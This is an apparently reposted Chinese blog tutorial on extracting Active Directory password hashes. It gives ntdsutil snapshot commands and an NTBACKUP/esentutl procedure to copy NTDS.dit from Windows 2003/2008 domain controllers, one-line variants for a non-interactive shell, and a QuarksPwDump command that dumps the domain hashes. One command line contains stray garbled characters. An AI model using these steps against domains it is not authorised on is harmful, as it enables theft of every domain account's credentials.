windows 2003 windows 2008 windows 2012 导出域控hash的方法

本文详细介绍了在Windows 2008和2003环境下,如何通过VSS服务和NTBACKUP工具进行活动目录数据库文件NTDS.dit的备份,并利用QuarksPwDump工具读取这些备份文件。

quarkspwdump作者介绍的用法:

1. Windows 2008
  
 Microsoft recently implements VSS (Volume Shadow Copy Service) which allow an administrator to make
 filesystem snapshots while the operating is running and writing to current backuped files.
  
 Here is a way to backup NTDS.dit file while a domain controller is running:
  
 #ntdsutil
 #snapshot
 #activate instance ntds
 #create
 #mount {GUID}
 #copy c:\MOUNT_POINT\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.dit
 #unmount {GUID}
 #quit
 #quit
  
 If AD server hasn't the "AD DS role", you have to use dsdbutil.exe command in the same way.
  
  
  
 2. Windows 2003 
 On this version, VSS has been implemented but not NTDS-type snapshots.
 But you can use ntbackup tool, here is the procedure:
  
 - Launch NTBACKUP gui
 - Use backup wizard (advanced)
 - Choose to save system state only and choose output filename
 - Wait some minutes
 - Use restore wizard (advanced)
 - Choise your backup, click next and use advanced button
 - Choose to restore file on another location (c:\tmp\ for example)
 - Choose to overwrite everything and next uncheck all restoration parameters
 - Validate and wait some minutes
 - Open a command shell to "c:\tmp\Active Directory"
 - We need to repair the database with this command
 #esentutl /p ntds.dit
 - Validate warning and wait some minutes
  
 ntds.dit file can now be used with quarkspwdump.

 

其中

#ntdsutil
#snapshot
#activate instance ntds
#create
#mount {GUID}
#copy c:\MOUNT_POINT\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.dit
#unmount {GUID}
#quit
#quit

适用于可交互式或直接登录状态。

如果是半交互式的,可以采用如下方法(网上看到的用法):

ntdsutil  snapshot  "activate  instance  ntds"  create  quit  quit
ntdsutil  snapshot  "mount {GUID}"  quit  quit
copy  MOUNT_POINT\windows\NTDS\ntds.dit  c:\ntds.dit
ntdsutil  snapshot  "unmount {GUID}"  quit  quit2 v- p5 I2 O  E
ntdsutil  snapshot  "delete {GUID}"  quit  quit

 

最后

QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit

 

转载于:https://www.cnblogs.com/landuo11/p/7492458.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值